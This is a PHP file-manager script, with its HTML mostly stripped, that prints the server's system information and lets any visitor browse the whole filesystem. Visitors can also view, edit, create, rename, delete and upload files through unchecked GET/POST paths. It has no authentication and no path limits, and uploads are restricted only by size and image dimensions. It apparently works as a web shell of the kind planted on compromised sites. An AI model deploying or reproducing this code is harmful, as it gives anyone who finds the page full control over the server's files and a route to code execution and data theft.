? $symbolic, 'numeric' => $numeric ]; } // Function to recursively list directories and files function listDirectory($dir) { // Get the current directory contents $files = scandir($dir); $system_info = php_uname(); // Display current directory name echo "

$system_info

"; echo "
Directory: $dir
"; // Display link to go back to the parent directory $parentDir = dirname($dir); if ($dir !== '/') { echo " Go Back
"; } // Display option to create a new file echo "
"; // Display list of directories first, then files echo ""; } // Function to create a new file function createFile($dir, $fileName) { $filePath = "$dir/$fileName"; if (!file_exists($filePath)) { file_put_contents($filePath, ""); // Create an empty file echo "
File '$fileName' created successfully!
"; } else { echo "
File '$fileName' already exists.
"; } } // Function to upload multiple files function uploadFile($dir) { $uploadpath = $dir . '/'; // Directory to store the uploaded files $max_size = 2000; // Maximum file size, in KiloBytes $alwidth = 900; // Maximum allowed width, in pixels $alheight = 800; // Maximum allowed height, in pixels if (isset($_FILES['fileup'])) { $files = $_FILES['fileup']; $uploadedFiles = 0; // Loop through each file foreach ($files['name'] as $key => $name) { if (strlen($name) > 1) { $fileTmp = $files['tmp_name'][$key]; $fileSize = $files['size'][$key]; $fileError = $files['error'][$key]; $fileType = strtolower(pathinfo($name, PATHINFO_EXTENSION)); // Check if the file is an image and get its dimensions if (in_array($fileType, ['jpg', 'jpe', 'png', 'gif'])) { list($width, $height) = getimagesize($fileTmp); } // Validate file size, width, and height $err = ''; if ($fileSize > $max_size * 1000) $err .= 'File ' . $name . ' exceeds maximum size of ' . $max_size . ' KB.
'; if (isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= 'File ' . $name . ' exceeds maximum dimensions of ' . $alwidth . 'x' . $alheight . '.
'; // If no errors, upload the file if ($err == '') { $destination = $uploadpath . basename($name); if (move_uploaded_file($fileTmp, $destination)) { $uploadedFiles++; } else { echo '
Failed to upload ' . $name . '.
'; } } else { echo '
' . $err . '
'; } } } if ($uploadedFiles > 0) { echo '
' . $uploadedFiles . ' file(s) uploaded successfully!
'; } } else { echo '
No files selected.
'; } } // Function to view file content function viewFile($filePath) { if (file_exists($filePath) && is_file($filePath)) { $content = htmlspecialchars(file_get_contents($filePath)); echo "

Viewing File: $filePath

"; echo "
$content
"; echo " Back to Directory"; } else { echo "
File not found.
"; } } // Function to edit file content function editFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "
File saved successfully!
"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "

Editing File: $filePath

"; echo "
"; echo " Back to Directory"; } // Function to delete a file function deleteFile($filePath) { if (file_exists($filePath)) { if (unlink($filePath)) { echo ""; } else { echo ""; } } else { echo ""; } } // Function to rename a file function renameFile($filePath, $newName) { $dir = dirname($filePath); $newFilePath = "$dir/$newName"; // Check if the new file name already exists if (file_exists($newFilePath)) { echo "
A file with the name '$newName' already exists.
"; return; } // Attempt to rename the file if (rename($filePath, $newFilePath)) { echo "
File renamed successfully to '$newName'.
"; } else { echo "
Failed to rename file. Please check permissions.
"; } } // Determine what action to take if (isset($_POST['upload_file'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); uploadFile($currentDir); listDirectory($currentDir); } elseif (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_GET['delete'])) { $filePath = realpath($_GET['delete']); deleteFile($filePath); } elseif (isset($_GET['rename'])) { $filePath = realpath($_GET['rename']); echo "

Rename File: " . basename($filePath) . "

"; echo "
"; } elseif (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $filePath = $_POST['file_path']; $newName = $_POST['new_name']; renameFile($filePath, $newName); $currentDir = dirname($filePath); listDirectory($currentDir); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { // Default action: list directory contents $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); listDirectory($currentDir); } ?> File Manager